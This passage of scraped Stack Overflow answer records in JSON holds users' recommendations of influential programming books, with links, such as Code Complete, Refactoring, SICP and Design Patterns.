"https://Stackoverflow.com/users/672", "pm_score": 0, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/1593271190\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Code Craft</a></p>\n" }, { "answer_id": 21203, "author": "David Hayes", "author_id": 1769, "author_profile": "https://Stackoverflow.com/users/1769", "pm_score": 0, "selected": false, "text": "<p>I have a couple of (rather old) blog posts on this subject</p>\n\n<ul>\n<li><a href=\"http://www.spindriftpages.net/blog/dave/2005/11/17/c-books/\" rel=\"nofollow noreferrer\">http://www.spindriftpages.net/blog/dave/2005/11/17/c-books/</a></li>\n<li><a href=\"http://www.spindriftpages.net/blog/dave/2005/06/06/good-oo-books/\" rel=\"nofollow noreferrer\">http://www.spindriftpages.net/blog/dave/2005/06/06/good-oo-books/</a></li>\n<li><a href=\"http://www.spindriftpages.net/blog/dave/2005/05/11/really-great-it-books/\" rel=\"nofollow noreferrer\">http://www.spindriftpages.net/blog/dave/2005/05/11/really-great-it-books/</a></li>\n<li>Although a good book I found Code\nComplete to be rather a dull read (a\ncontroversial view I admit).</li>\n<li>I like\nJeffery Richter and the books Joel\nSpolksy has written</li>\n<li>The Eric Meyer CSS books are really good too</li>\n</ul>\n" }, { "answer_id": 21217, "author": "Eric Pohl", "author_id": 2144, "author_profile": "https://Stackoverflow.com/users/2144", "pm_score": 3, "selected": false, "text": "<p>In no particular order except how they're arranged on my bookshelf:</p>\n\n<ul>\n<li><em>The Pragmatic Programmer</em></li>\n<li><em>Rafactoring</em> by Fowler</li>\n<li><em>Working Effectively with Legacy Code</em> by Feathers. This is practically a companion volume to <em>Refactoring</em>.</li>\n<li><em>UML Distilled</em> by Fowler. Among its other virtues is brevity.</li>\n<li><em>Debugging the Development Process</em> by Steve Maguire</li>\n<li><em>Design Patterns</em> (aka \"Gang of Four\") by Gamma et al</li>\n</ul>\n" }, { "answer_id": 21225, "author": "popopome", "author_id": 1556, "author_profile": "https://Stackoverflow.com/users/1556", "pm_score": 1, "selected": false, "text": "<p>Implementation Patterns by Kent Beck.</p>\n\n<p><a href=\"http://ecx.images-amazon.com/images/I/51JHn-6oNwL._SL500_AA240_.jpg\" rel=\"nofollow noreferrer\">alt text http://ecx.images-amazon.com/images/I/51JHn-6oNwL._SL500_AA240_.jpg</a></p>\n\n<p>You can learn how to communicate people with programming.</p>\n" }, { "answer_id": 21227, "author": "Stu", "author_id": 414, "author_profile": "https://Stackoverflow.com/users/414", "pm_score": 0, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/1558605762\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">SQL for smarties</a></p>\n" }, { "answer_id": 26388, "author": "Mike Caron", "author_id": 2836, "author_profile": "https://Stackoverflow.com/users/2836", "pm_score": 1, "selected": false, "text": "<p>Deitel and Deitel, \"C++: How to Program\"</p>\n\n<p>XUnit Test Patterns</p>\n" }, { "answer_id": 26409, "author": "Bill the Lizard", "author_id": 1288, "author_profile": "https://Stackoverflow.com/users/1288", "pm_score": 2, "selected": false, "text": "<p>Read <a href=\"http://books.google.com/books?id=LjJcCnNf92kC&amp;dq=head+first+design+patterns&amp;pg=PP1&amp;ots=_9Z38Ii7uY&amp;sig=BQOPlemSK6VvYAapjbrHzCqr434&amp;hl=en&amp;sa=X&amp;oi=book_result&amp;resnum=4&amp;ct=result\" rel=\"nofollow noreferrer\">Head First Design Patterns</a> for a much more accessible introduction than the GoF book. I remember feeling like I'd leveled up after each chapter.</p>\n\n<p>Kent Beck's <a href=\"http://books.google.com/books?hl=en&amp;id=gFgnde_vwMAC&amp;dq=Test+driven+development&amp;printsec=frontcover&amp;source=web&amp;ots=enExqwUtlH&amp;sig=UgEMnH7P4D54RuSltQctG_NiDh8&amp;sa=X&amp;oi=book_result&amp;resnum=6&amp;ct=result\" rel=\"nofollow noreferrer\">Test Driven Development by Example</a> for TDD.</p>\n" }, { "answer_id": 29268, "author": "jdd", "author_id": 242853, "author_profile": "https://Stackoverflow.com/users/242853", "pm_score": 0, "selected": false, "text": "<p>In addition to other people's suggestions, I'd recommend either acquiring a copy of SICP, or <a href=\"http://mitpress.mit.edu/sicp/full-text/book/book.html\" rel=\"nofollow noreferrer\">reading it online</a>. It's one of the few books that I've read that I feel <em>greatly</em> increased my skill in designing software, particularly in creating good abstraction layers.</p>\n\n<p>A book that is not <em>directly</em> related to programming, but is also a good read for programmers (IMO) is <a href=\"https://rads.stackoverflow.com/amzn/click/com/0201558025\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Concrete Mathematics</a>. Most, if not all of the topics in it are useful for programmers to know about, and it does a better job of explaining things than any other math book I've read to date.</p>\n" }, { "answer_id": 29273, "author": "flipdoubt", "author_id": 470, "author_profile": "https://Stackoverflow.com/users/470", "pm_score": 2, "selected": false, "text": "<p>I'm a big fan of most titles by Robert C. Martin, especially <a href=\"http://amazon.com/o/ASIN/0135974445\" rel=\"nofollow noreferrer\">Agile Software Development, Principles, and Practices</a> and <a href=\"http://amazon.com/o/ASIN/0132350882\" rel=\"nofollow noreferrer\">Clean Code: A Handbook of Agile Software Craftsmanship</a>.</p>\n" }, { "answer_id": 29282, "author": "liammclennan", "author_id": 2785, "author_profile": "https://Stackoverflow.com/users/2785", "pm_score": 0, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0201699699\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Agile Software Development</a> by Alistair Cockburn</p>\n" }, { "answer_id": 29338, "author": "lurks", "author_id": 1876, "author_profile": "https://Stackoverflow.com/users/1876", "pm_score": 3, "selected": false, "text": "<p>I think that \"The Art of Unix Programming\" is an excellent book, by an excellent hacker/brilliant mind as Eric S. Raymond, who tries to make us understand a few principles of software design (simplicity mainly). This book is a must for every programming who is about to start a project under Unix platform.</p>\n" }, { "answer_id": 31438, "author": "Paul Tomblin", "author_id": 3333, "author_profile": "https://Stackoverflow.com/users/3333", "pm_score": 3, "selected": false, "text": "<p>Mr. Bunny's Guide To ActiveX</p>\n" }, { "answer_id": 33154, "author": "Onorio Catenacci", "author_id": 2820, "author_profile": "https://Stackoverflow.com/users/2820", "pm_score": 3, "selected": false, "text": "<p>I have a few good books that strongly influenced me that I've not seen on this list so far:</p>\n\n<p><em><a href=\"https://rads.stackoverflow.com/amzn/click/com/0465067093\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">The Psychology of Everyday Things</a></em> by Donald Norman. The general principles of design for other people. This may seem to be mostly good for UI but if you think about it, it has applications almost anywhere there is an interface that someone besides the original developer has to work with; e. g. an API and designing the interface in such a way that other developers form the correct mental model and get appropriate feedback from the API itself. </p>\n\n<p><em><a href=\"https://rads.stackoverflow.com/amzn/click/com/0471469122\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">The Art of Software Testing</a></em> by Glen Myers. A good, general introduction to testing software; good for programmers to read to help them think like a tester i. e. think of what may go wrong and prepare for it.</p>\n\n<p>By the way, I realize the question was the \"Single Most Influential Book\" but the discussion seems to have changed to listing good books for developers to read so I hope I can be forgiven for listing two good books rather than just one.</p>\n" }, { "answer_id": 33671, "author": "joel.neely", "author_id": 3525, "author_profile": "https://Stackoverflow.com/users/3525", "pm_score": 3, "selected": false, "text": "<p>While I agree that many of the books above are must-reads (Pragmatic Programmer, Mythical Man-Month, Art of Computer Programming, and SICP come to mind immediately), I'd like to go in a slightly different direction and recommend <a href=\"https://rads.stackoverflow.com/amzn/click/com/013215871X\" rel=\"noreferrer\" rel=\"nofollow noreferrer\" title=\"A Discipline of Programming\">A Discipline of Programming</a> by Edsger Dijkstra. Even though it's 32 years old, the emphasis on \"design for verifiability\" is highly relevant (even if \"verifiability\" means \"proof\" instead \"unit tests\").</p>\n" }, { "answer_id": 37603, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "<p>There are a lot of votes for Steve McConnell's Code Complete, but what about his <a href=\"http://www.stevemcconnell.com/sg.htm\" rel=\"nofollow noreferrer\">Software Project Survival Guide</a> book? I think they're both required reading but for different reasons.</p>\n" }, { "answer_id": 38113, "author": "Patrick Hogan", "author_id": 4065, "author_profile": "https://Stackoverflow.com/users/4065", "pm_score": 2, "selected": false, "text": "<p>I recently read <a href=\"https://rads.stackoverflow.com/amzn/click/com/1400082471\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Dreaming in Code</a> and found it to be an interesting read. Perhaps more so since the day I started reading it Chandler 1.0 was released. Reading about the growing pains and mistakes of a project team of talented people trying to \"change the world\" gives you a lot to learn from. Also Scott brings up a lot of programmer lore and wisdom in between that's just an entertaining read.</p>\n\n<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0596510047\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Beautiful Code</a> had one or two things that made me think differently, particularly the chapter on top down operator precedence.</p>\n" }, { "answer_id": 38973, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>This isn't a direct answer to the question, because I feel it's already been answered above, however, one of the books that definitely had an impact on how I code is <a href=\"http://www.bookpool.com/ss?qs=0201799405\" rel=\"nofollow noreferrer\">Code Reading, Volume 1: The Open Source Perspective</a>. </p>\n\n<p><a href=\"http://g.bookpool.com/covers/405/0201799405_140_30O.gif\" rel=\"nofollow noreferrer\">alt text http://g.bookpool.com/covers/405/0201799405_140_30O.gif</a></p>\n" }, { "answer_id": 42972, "author": "benc", "author_id": 2910, "author_profile": "https://Stackoverflow.com/users/2910", "pm_score": 1, "selected": false, "text": "<p><a href=\"http://www.code-is-law.org/\" rel=\"nofollow noreferrer\">Code is Law</a> - you are doing all this writing, editing, and thinking in [language of your choice] but WHY? What does you code MEAN? What will does it actually DO?</p>\n\n<p>(I could have recommended a book on QA, but I didn't...)</p>\n" }, { "answer_id": 47601, "author": "Luther Baker", "author_id": 4910, "author_profile": "https://Stackoverflow.com/users/4910", "pm_score": 1, "selected": false, "text": "<p><a href=\"http://www.apress.com/book/view/1590599217\" rel=\"nofollow noreferrer\">Pro Spring</a> is a superb introduction to the world of Inversion of Control and Dependency Injection. If you're not aware of these practices and their implications - the balance of topics and technical detail in Pro Spring is excellent. It builds a great case and consequent personal foundation.</p>\n\n<p>Another book I'd suggest would be Robert Martin's <a href=\"https://rads.stackoverflow.com/amzn/click/com/0135974445\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Agile Software Development</a> (ASD). Code smells, agile techniques, test driven dev, principles ... a well-written balance of many different programming facets.</p>\n\n<p>More traditional classics would include the infamous GoF <a href=\"https://rads.stackoverflow.com/amzn/click/com/0201633612\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Design Patterns</a>, Bertrand Meyer's <a href=\"https://rads.stackoverflow.com/amzn/click/com/0136291554\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Object Oriented Software Construction</a>, Booch's <a href=\"https://rads.stackoverflow.com/amzn/click/com/020189551X\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Object Oriented Analysis and Design</a>, <a href=\"http://www.amazon.com/s/ref=nb_ss_b?url=search-alias%3Dstripbooks&amp;field-keywords=scott+meyers&amp;x=0&amp;y=0\" rel=\"nofollow noreferrer\">Scott Meyer</a>'s \"<a href=\"https://rads.stackoverflow.com/amzn/click/com/0321334876\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Effective C++</a>'\" series and a lesser known book I enjoyed by Gunderloy, <a href=\"http://www.codertodeveloper.com/\" rel=\"nofollow noreferrer\">Coder to Developer</a>.</p>\n\n<p>And while books are nice ... don't forget <a href=\"http://www.se-radio.net/\" rel=\"nofollow noreferrer\">radio</a>!</p>\n\n<p>... let me add one more thing. If you haven't already discovered <a href=\"http://safari.oreilly.com/0735619670\" rel=\"nofollow noreferrer\">safari</a> - take a look. It is more addictive than stack overflow :-) I've found that with my google type habits - I need the more expensive subscription so I can look at any book at any time - but I'd recommend the trial to anyone even remotely interested.</p>\n\n<p>(ah yes, a little obj-C today, cocoa tomorrow, patterns? soa? what was that example in that cookbook? What did Steve say in the <a href=\"http://safari.oreilly.com/0735619670\" rel=\"nofollow noreferrer\">second edition</a>? Should I buy this book? ... a subscription like this is great if you'd like some continuity and context to what you're googling ...)</p>\n" }, { "answer_id": 48191, "author": "Sven", "author_id": 272, "author_profile": "https://Stackoverflow.com/users/272", "pm_score": 2, "selected": false, "text": "<p><a href=\"https://stackoverflow.com/questions/559/what-books-would-you-recommend-for-a-beginning-software-developer#1150\">Debugging the Development Process: Practical Strategies for Staying Focused, Hitting Ship Dates, and Building Solid Teams</a> by Steve Maguire.</p>\n\n<p>No-non-sense, down-to-earth, entertaining, profound.</p>\n" }, { "answer_id": 49088, "author": "pkoch", "author_id": 5128, "author_profile": "https://Stackoverflow.com/users/5128", "pm_score": 2, "selected": false, "text": "<p>I found \"The art of Prolog\" a very good read.</p>\n" }, { "answer_id": 49139, "author": "Dominic Eidson", "author_id": 5042, "author_profile": "https://Stackoverflow.com/users/5042", "pm_score": 2, "selected": false, "text": "<p>I think I grew up in a different generation than most here....</p>\n\n<p>One of the most influential books I read, was <a href=\"http://www.kohala.com/start/apue.html\" rel=\"nofollow noreferrer\">APUE</a>.</p>\n\n<p>Or pretty much anything by W. Richard Stevens.</p>\n" }, { "answer_id": 53240, "author": "Gürkan Yeniçeri", "author_id": 5479, "author_profile": "https://Stackoverflow.com/users/5479", "pm_score": 2, "selected": false, "text": "<p>Roger S. Pressman - Software Engineering (A Practitioners Approach). It has got a lot of usefull information.</p>\n" }, { "answer_id": 54322, "author": "Kilhoffer", "author_id": 5469, "author_profile": "https://Stackoverflow.com/users/5469", "pm_score": 3, "selected": false, "text": "<p>This one isnt really a book for the beginning programmer, but if you're looking for SOA design books, then <a href=\"https://rads.stackoverflow.com/amzn/click/com/0596529554\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">SOA in Practice: The Art of Distributed System Design</a> is for you.</p>\n" }, { "answer_id": 55741, "author": "Garth Kidd", "author_id": 5700, "author_profile": "https://Stackoverflow.com/users/5700", "pm_score": 3, "selected": false, "text": "<p>Do users ever touch your code? If you're not doing solely back-end work, I recommend <a href=\"https://rads.stackoverflow.com/amzn/click/com/0470084111\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">About Face: The Essentials of User Interface Design</a> — now in its third edition (linked). I used to think my users were stupid because they didn't \"get\" my interfaces. I was, of course, wrong. About Face turned me around. </p>\n" }, { "answer_id": 58067, "author": "busse", "author_id": 5702, "author_profile": "https://Stackoverflow.com/users/5702", "pm_score": 0, "selected": false, "text": "<p>Not a programming book, but still a very important book every programmer should read:</p>\n\n<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0670879835\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Orbiting the Giant Hairball by Gordon MacKenzie</a></p>\n" }, { "answer_id": 60634, "author": "mattruma", "author_id": 1768, "author_profile": "https://Stackoverflow.com/users/1768", "pm_score": 3, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/1593271190\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Code Craft</a> by Pete Goodliffe is a good read!</p>\n\n<p><a href=\"http://ecx.images-amazon.com/images/I/51WZ9AEC3GL._SL500_BO2,204,203,200_PIsitb-dp-500-arrow,TopRight,45,-64_OU01_AA240_SH20_.jpg\" rel=\"noreferrer\">Code Craft http://ecx.images-amazon.com/images/I/51WZ9AEC3GL._SL500_BO2,204,203,200_PIsitb-dp-500-arrow,TopRight,45,-64_OU01_AA240_SH20_.jpg</a></p>\n" }, { "answer_id": 65407, "author": "Bryan Oakley", "author_id": 7432, "author_profile": "https://Stackoverflow.com/users/7432", "pm_score": 3, "selected": false, "text": "<p>Software Tools by by Brian W. Kernighan and P. J. Plauger</p>\n\n<p>It had a profound influence on how I write software.</p>\n" }, { "answer_id": 66619, "author": "WaldWolf", "author_id": 9764, "author_profile": "https://Stackoverflow.com/users/9764", "pm_score": 2, "selected": false, "text": "<p>to get advanced in prolog i like these two books:</p>\n\n<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0262193388\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">The Art of Prolog</a></p>\n\n<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0262512270\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">The Craft of Prolog</a></p>\n\n<p>really opens the mind for logic programming and recursion schemes.</p>\n" }, { "answer_id": 68453, "author": "AShelly", "author_id": 10396, "author_profile": "https://Stackoverflow.com/users/10396", "pm_score": 1, "selected": false, "text": "<p>Here are two I haven't seen mentioned:<br>\nI wish I had read \"<a href=\"https://rads.stackoverflow.com/amzn/click/com/0201423391\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Ruminations on C++</a>\" by Koenig and Moo much sooner. That was the book that made OO concepts really click for me.<br>\nAnd I recommend Michael Abrash's \"Zen of Code Optimization\" for anyone else planning on starting a programming career in the mid 90s. </p>\n" }, { "answer_id": 69157, "author": "Larry OBrien", "author_id": 10116, "author_profile": "https://Stackoverflow.com/users/10116", "pm_score": 3, "selected": false, "text": "<p>\"The World is Flat\" by Thomas Friedman. </p>\n\n<p>Excellence in programming demands an investment of mental energy and a dedication to continued learning comparable to the professions of medicine or law. It pays a fraction of what those professions pay, much less the wages paid to the mathematically savvy who head into the finance sector. And wages for <em>constructing code</em> are eroding because it's a profession that is <em>relatively</em> easy for the intelligent and self-disciplined in most economies to enter.</p>\n\n<p>Programming has already eroded to the point of paying less than, say, plumbing. Plumbing can't be \"offshored.\" You don't need to pay $2395 to attend the Professional Plumber's Conference every other year for the privilege of receiving an entirely new set of plumbing technologies that will take you a year to learn. </p>\n\n<p>If you live in North America or Europe, are young, and are smart, programming is not a rational career choice. Businesses that <em>involve</em> programming, absolutely. Study business, know enough about programming to refine your BS detector: brilliant. But dedicating the lion's share of your mental energy to the mastery of libraries, data structures, and algorithms? That only makes sense if programming is something more to you than an economic choice.</p>\n\n<p>If you <em>love</em> programming and for that reason intend to make it your career, then it behooves you to develop a cold-eyed understanding of the forces that are, and will continue, to make it a harder and harder profession in which to make a living. \"The World is Flat\" won't teach you what to name your variables, but it will immerse you for 6 or 8 hours in economic realities that have <em>already</em> arrived. If you can read it, and not get scared, <em>then</em> go out and buy \"Code Complete.\"</p>\n" }, { "answer_id": 72432, "author": "Michiel Borkent", "author_id": 6264, "author_profile": "https://Stackoverflow.com/users/6264", "pm_score": 3, "selected": false, "text": "<p><a href=\"http://norvig.com/paip.html\" rel=\"noreferrer\">Paradigms of Artificial Intelligence Programming</a>: Case Studies in Common Lisp by Peter Norvig</p>\n\n<p><img src=\"https://i.stack.imgur.com/n9oXc.jpg\" alt=\"enter image description here\"></p>\n\n<p>I started reading it because I wanted to learn Common Lisp. When I was halfway, I realized this was the greatest book about programming I had read so far.</p>\n" }, { "answer_id": 72440, "author": "Henry B", "author_id": 6414, "author_profile": "https://Stackoverflow.com/users/6414", "pm_score": 2, "selected": false, "text": "<p>It's not strictly a development book and I believe that I've mentioned it in another answer somewhere but it's a book I really believe all developers should read, from php to Java to assembly developers.</p>\n\n<p><a href=\"http://www.amazon.co.uk/Code-Language-DV-Undefined-Charles-Petzold/dp/0735611319/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221573014&amp;sr=8-1\" rel=\"nofollow noreferrer\">Code</a></p>\n\n<p>It really brings together what's under the hood in a computer, why memory shouldn't be wasted and some of the more interesting parts of the history of computing. It's an introduction to the computer and what it is. It gave me my ultimate passion for low level programming and helped me understand pointers and memory more than any other computer.</p>\n" }, { "answer_id": 72490, "author": "Ferruccio", "author_id": 4086, "author_profile": "https://Stackoverflow.com/users/4086", "pm_score": 1, "selected": false, "text": "<p>Modern C++ Design by Andrei Alexandrescu</p>\n" }, { "answer_id": 72505, "author": "Brian G", "author_id": 3208, "author_profile": "https://Stackoverflow.com/users/3208", "pm_score": 2, "selected": false, "text": "<p>I think code complete is going to be a hugely popular one for this question, for me it corrected many of my bad habits and re-affirmed my good practices.</p>\n\n<p>Also for my Perl background I really like Perl Best Practices from Damian Conway. Perl can be a nasty language if you don't use style and best practices, which is what I was seeing in the scripts I was reading ( and sometimes writing ) .</p>\n\n<p>I like the Head First Series, they are quite good and easy to read when your are not in the mood for more serious style books.</p>\n" }, { "answer_id": 72551, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>Writing Solid Code by Steve Maguire.</p>\n" }, { "answer_id": 72585, "author": "David Dibben", "author_id": 5022, "author_profile": "https://Stackoverflow.com/users/5022", "pm_score": 1, "selected": false, "text": "<p>\"Object-Oriented Analysis and Design with Applications\" by Grady Booch. I read this a long time ago and it showed me that there could be a methodology to developing Object Oriented Software. Since then many other books have had an impact on me but this one got me started.</p>\n" }, { "answer_id": 72594, "author": "Garth Gilmour", "author_id": 2635682, "author_profile": "https://Stackoverflow.com/users/2635682", "pm_score": 0, "selected": false, "text": "<p>The <a href=\"http://www.amazon.co.uk/Interpretation-Object-oriented-Programming-Languages/dp/1852335475/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1221573489&amp;sr=8-1\" rel=\"nofollow noreferrer\">Interpretation of Object-Oriented Programming Languages</a> by Ian Craig</p>\n\n<p>Because it showed me how much more there was to OO than standard C++/Java idioms</p>\n" }, { "answer_id": 72611, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>Programming Perl (O'Reilly)</p>\n" }, { "answer_id": 72739, "author": "kzotin", "author_id": 12021, "author_profile": "https://Stackoverflow.com/users/12021", "pm_score": 0, "selected": false, "text": "<p>Thinking in Java (Patterns) , Bruce Eckel</p>\n" }, { "answer_id": 72762, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>Professional Excel Development\nThis book showed how to make high quality applications within one of the most ubiquitous programming platforms available.</p>\n" }, { "answer_id": 72812, "author": "jop", "author_id": 11830, "author_profile": "https://Stackoverflow.com/users/11830", "pm_score": 1, "selected": false, "text": "<p>Mine is <a href=\"https://rads.stackoverflow.com/amzn/click/com/0321146530\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Test Driven Development by Example</a></p>\n" }, { "answer_id": 72813, "author": "Card Visitor", "author_id": 5352, "author_profile": "https://Stackoverflow.com/users/5352", "pm_score": 2, "selected": false, "text": "<p><a href=\"http://www.poppendieck.com/ld.htm\" rel=\"nofollow noreferrer\">Lean Software Development</a> by Mary and Tom Poppendieck is definitely one for every developers bookshelf</p>\n" }, { "answer_id": 72876, "author": "Jonathan", "author_id": 6910, "author_profile": "https://Stackoverflow.com/users/6910", "pm_score": 2, "selected": false, "text": "<p><a href=\"http://www.amazon.co.uk/Cocoa-Programming-Mac-OS-X/dp/0321503619/\" rel=\"nofollow noreferrer\">Cocoa Programming</a> for Mac OS X by Aaron Hillegass</p>\n" }, { "answer_id": 72905, "author": "Penfold", "author_id": 11952, "author_profile": "https://Stackoverflow.com/users/11952", "pm_score": 2, "selected": false, "text": "<p>It's a toss up between Head First Design Patterns, for many of the reasons cited above, and Perl Testing: A Developer's Notebook, which should be one of the bibles for any Perl programmer wanting to write maintainable code.</p>\n" }, { "answer_id": 72974, "author": "Jay", "author_id": 12479, "author_profile": "https://Stackoverflow.com/users/12479", "pm_score": 2, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0321334876\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Effective C++</a> and <a href=\"https://rads.stackoverflow.com/amzn/click/com/020163371X\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">More Effective C++</a> by Scott Myers. </p>\n" }, { "answer_id": 73057, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>This one started me off into true OOA&amp;D. </p>\n\n<p>Applying UML and Patterns: An Introduction to Object-Oriented Analysis and Design and Iterative Development - Craig Larman</p>\n\n<p>These would be up there as well:</p>\n\n<ul>\n<li>Patterns in Enterprise Application Architecture - Fowler </li>\n<li>Domain-Driven Design - Eric Evans</li>\n</ul>\n" }, { "answer_id": 73073, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>PHP objects, patterns and practice. \n<a href=\"http://www.apress.com/book/view/9781590599099\" rel=\"nofollow noreferrer\">http://www.apress.com/book/view/9781590599099</a></p>\n" }, { "answer_id": 73122, "author": "Bjoern", "author_id": 5919, "author_profile": "https://Stackoverflow.com/users/5919", "pm_score": 0, "selected": false, "text": "<p><a href=\"http://samizdat.mines.edu/howto/HowToBeAProgrammer.html\" rel=\"nofollow noreferrer\">'How to be a Programmer: A Short, Comprehensive, and Personal Summary'</a> by <em>Robert L Read</em></p>\n\n<p>Not exactly a book but an essay, but this one was definitely an inspiration for me when I got into coding. Loved the notion of entering a tribe. Worth a read.</p>\n" }, { "answer_id": 73228, "author": "Bharani", "author_id": 6879, "author_profile": "https://Stackoverflow.com/users/6879", "pm_score": 2, "selected": false, "text": "<p>Win32 Programming by Charles Petzold</p>\n" }, { "answer_id": 73235, "author": "MattH", "author_id": 81, "author_profile": "https://Stackoverflow.com/users/81", "pm_score": 3, "selected": false, "text": "<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/1556159005\" rel=\"noreferrer\" rel=\"nofollow noreferrer\">Rapid Development</a> by McConnell</p>\n" }, { "answer_id": 73376, "author": "Pat", "author_id": 238, "author_profile": "https://Stackoverflow.com/users/238", "pm_score": 2, "selected": false, "text": "<p>I suppose we could ask the <a href=\"https://stackoverflow.com/questions/1711/\">same top rated question</a> every couple of weeks and upmod all those who mention <a href=\"http://cc2e.com/\" rel=\"nofollow noreferrer\">code complete</a> or <a href=\"http://www.pragprog.com/titles/tpp/the-pragmatic-programmer\" rel=\"nofollow noreferrer\">The Pragmatic Programmer</a>. </p>\n\n<p>Not that there is anythng wrong with it :-)</p>\n" }, { "answer_id": 73623, "author": "James Curran", "author_id": 12725, "author_profile": "https://Stackoverflow.com/users/12725", "pm_score": 2, "selected": false, "text": "<p>\"<em>The Design and Evolution of C++</em>\" by Bjarne Stroustrup</p>\n\n<p>Besides giving much background on C++, it is also a lengthy study on the trade-offs and design concerns involved in a large scale program.</p>\n\n<p><a href=\"http://search.barnesandnoble.com/The-Design-and-Evolution-of-C/Bjarne-Stroustrup/e/9780201543308/?itm=1\" rel=\"nofollow noreferrer\">BN.com</a></p>\n" }, { "answer_id": 73778, "author": "Kelly Adams", "author_id": 12734, "author_profile": "https://Stackoverflow.com/users/12734", "pm_score": 1, "selected": false, "text": "<p><strong>Learning C# 2005</strong>, by Jesse Liberty &amp; Brian MacDonald (O'Reilly).</p>\n\n<p>ISBN 10: 0-596-10209-7.</p>\n\n<p>When I first made the jump from ASP classic procedural code to object-oriented C# code in VS2005, this book set me on the right path.</p>\n" }, { "answer_id": 73822, "author": "Craig Hyatt", "author_id": 5808, "author_profile": "https://Stackoverflow.com/users/5808", "pm_score": 2, "selected": false, "text": "<p>While not strictly a software development book, I would highly recommend that <a href=\"https://rads.stackoverflow.com/amzn/click/com/0321344758\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">Don't Make me Think!</a> be considered in this list.</p>\n" }, { "answer_id": 73880, "author": "Bryan Oakley", "author_id": 7432, "author_profile": "https://Stackoverflow.com/users/7432", "pm_score": 1, "selected": false, "text": "<p>Software Tools by Brian W. Kernighan and P. J. Plauger by a wide margin had the most effect on me.</p>\n" }, { "answer_id": 74118, "author": "Eddie Velasquez", "author_id": 12851, "author_profile": "https://Stackoverflow.com/users/12851", "pm_score": 1, "selected": false, "text": "<p>Inside the C++ Object Model by Stan Lippman. It made C++ finally \"click\" for me, before it was all \"magic\". This book gave me a different frame of mind when approaching a new programming language.</p>\n" }, { "answer_id": 74234, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>Literate Programming by Donald Knuth, it's a great book on code structure.</p>\n" }, { "answer_id": 74245, "author": "Craig Trader", "author_id": 12895, "author_profile": "https://Stackoverflow.com/users/12895", "pm_score": 2, "selected": false, "text": "<p><a href=\"http://en.wikipedia.org/wiki/The_Unix_Programming_Environment\" rel=\"nofollow noreferrer\">The Unix Programming Environment</a> by Kernighan and Pike. </p>\n\n<p><img src=\"https://upload.wikimedia.org/wikipedia/en/thumb/4/43/English4.gif/180px-English4.gif\" alt=\"The Unix Programming Environment\"></p>\n\n<p>More than any other book, it taught me the benefits in building small, easily-tested tools that can be combined to do big things. </p>\n" }, { "answer_id": 74272, "author": "user12933", "author_id": 12933, "author_profile": "https://Stackoverflow.com/users/12933", "pm_score": 2, "selected": false, "text": "<p>Object-Oriented Software Construction by Bertrand Meyer</p>\n" }, { "answer_id": 74310, "author": "R Caloca", "author_id": 13004, "author_profile": "https://Stackoverflow.com/users/13004", "pm_score": 2, "selected": false, "text": "<p><strong>Expert C Programming: Deep C Secrets</strong> by <em>Peter Van Der Linden</em></p>\n" }, { "answer_id": 74424, "author": "thvo", "author_id": 13041, "author_profile": "https://Stackoverflow.com/users/13041", "pm_score": 2, "selected": false, "text": "<p>Extreme Programming by Kent Beck</p>\n" }, { "answer_id": 74556, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>A collection it was, and stunning. Edsger Dijkstra's (with some help from C.A.R. Hoare) little black book <a 